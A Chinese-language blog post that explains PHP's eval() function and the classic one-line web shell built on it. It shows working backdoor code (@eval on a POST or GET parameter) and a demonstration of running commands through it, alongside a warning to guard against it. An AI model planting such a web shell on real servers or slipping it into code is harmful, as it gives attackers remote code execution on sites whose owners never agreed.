PHP的一句话木马代码和函数eval的简介

大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思<?php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制错误输出。呵呵开个玩笑,其实不是这么简单,这是一段PHP木马代码,也就是我们所说的后门程序

为什么说这段代码是后门程序?

其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件

这个是PHP最常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算

就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范

eval函数

eval() 函数把字符串按照 PHP 代码来执行

该字符串必须是合法的 PHP 代码,且必须以分号结尾

如果没有在代码字符串中调用 return 语句,则返回 NULL

如果代码中存在解析错误,则 eval() 函数返回 false

eval函数的一般用法

一般用法也就是平时我们所用的,但是感觉我都不用这个函数,作用相当于Python中的format函数,格式化字符串

<?php

$string = "beautiful";

$time = "summer";

$str = 'This is a $string $time morning!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

结果输出:

This is a $string $time morning!

This is a beautiful summer morning!

eval函数的特殊用法

这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个php文件,写入如下代码

<?php

@eval($_GET["cmd"]);

?>

加上@符来抑制错误输出,来访问?cmd=echo 'hello,world!';这个路径,就会看到输出

输入hello,world

查看PHP的信息:pathinfo()
查看PHP的信息

post提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种PHP一句话木马程序代码,也感觉是最弱智的。。。

5 条评论

发表评论

*